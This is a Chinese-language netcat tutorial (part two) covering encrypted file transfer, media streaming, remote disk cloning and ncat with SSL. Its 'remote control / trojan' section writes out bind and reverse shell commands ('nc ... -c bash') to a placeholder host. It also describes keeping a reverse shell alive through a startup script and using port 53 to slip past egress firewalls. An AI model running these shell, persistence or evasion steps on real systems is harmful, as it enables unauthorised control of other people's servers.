网络工具netcat介绍及使用( 二 )

加密传输文件加密传输文件需要使用 mcrypt 库,linux 系统默认是没有安装的,需要手动安装 。使用和传输文件类似,只需要在传输文件时使用 mcrypt 加密即可 。

网络工具netcat介绍及使用

文章插图
mcrypt --help
具体使用:
接收端:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp3发送端:mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp3 | nc -nv 1.1.1.1 333 -q 1命令用到的参数有,--flush 立即冲洗输出,-F 输出数据,-b 不保留算法信息,-q 关闭一些不是严重的警告,-d 解密,首先在接收端监听一个端口,等待另一台进行连接传送文件,随后在要传送的机器上把要传送的文件进行加密使用 nc 连接指定的地址和 ip 。
发送端第一次需要输入加密的密码,然后回车再次确认密码,接收端输入相应的密码就会收到传输的文件 。
远程控制 / 木马实现方式如下:
正向:被控制端:nc -lp 333 -c bash控制端nc 1.1.1.1 333反向:控制端:nc -lp 333被控制端:nc 1.1.1.1 333 -c bash简单总结就是谁输-c,谁就被控制原理和传输文件一样,只不过传输的是 bash,windows 系统是 cmd,正向是被控制机器主动指定 bash,然后通过别人连接自己的端口,别人连接自己后,执行的命令就是被控制的机器 。反向就是控制端指定bash,连接被控制端后,指定命令的还是被控制的机器 。
通常情况下,一般的服务器都会有防火墙,很少会允许其他外在的机器来连接自己的某一个端口,只有某些指定端口可能会允许访问,例如 web 服务的 80 端口 。这时正向的 shell 就不起作用了,而防火墙一般都会禁止外在机器来连接自己机器的其他端口,但自己的机器访问外面的端口一般不会做限制,这时候就可以使用反向 shell,也就是攻击者给自己的机器开一个端口,让目标服务器来连自己,并提供bash 。为了达到这个目的,可以写一个脚本放到目标服务器的开机启动中,只要目标服务器运行就会连接自己 。
当然,有些管理员安全意识比较好的话,也会限制自己的服务器访问外在的一些端口,这种情况很少见,但也有,这时可以指定常用的端口,例如服务器要使用 dns 服务的 53 端口,这时候自己就可以监听 53 让目标服务器来连接自己 。
流媒体服务器【网络工具netcat介绍及使用】具体实现方式:
服务端:cat 1.mp4 | nc -lp 333客户端:nc -nv 1.1.1.1 333 | mplayer -vo xll -cache 3000 -其中mplayer在有些Linux中是没有默认安装的,如果没有就手动安装一下 。
网络工具netcat介绍及使用

文章插图
mplayer -h
其中vo参数是选择驱动程序,cache参数的意思是每秒要接收的播放帧 。
远程克隆硬盘我们都知道文件删除的原理,在不格式化的情况下,删除文件后是可以通过一些手段还原回来的,所以在远程电子取证时,远程克隆硬盘就显得很有作用了 。
具体使用时需要借助命令dd,首先通过nc监听一个端口,然后通过dd指定要克隆的分区,dd的of参数相当于一个复制功能,然后在另一台机器通过nc连接此端口,dd的if参数相当于粘贴的命令 。
接收端:nc -lp 333 | dd of=/dev/sda被复制端:dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1ncatnc 也有不足之处,首先就是明文传输,可能会被嗅探 。其次对于反向shell,如果其他人通过网络扫描发现了这个端口,也就意味着任何人都可以去监听这个端口进行连接,缺乏身份验证功能 。
ncat则弥补了这些缺点,ncat不是linux系统自带的命令,而是nmap中的 。ncat的使用参数很多和nc是一样的,可以通过--alow参数来指定允许连接的机器,通过--ssl进行数据的加密 。
被控制端:ncat -c bash --allow 192.168.14.33 -vnl 333 --ssl控制端:ncat -nv 1.1.1.1 333 --ssl通过allow参数即可指定允许连接的机器,这时如果其他人即使扫描到了这个端口也无法进行连接 。




推荐阅读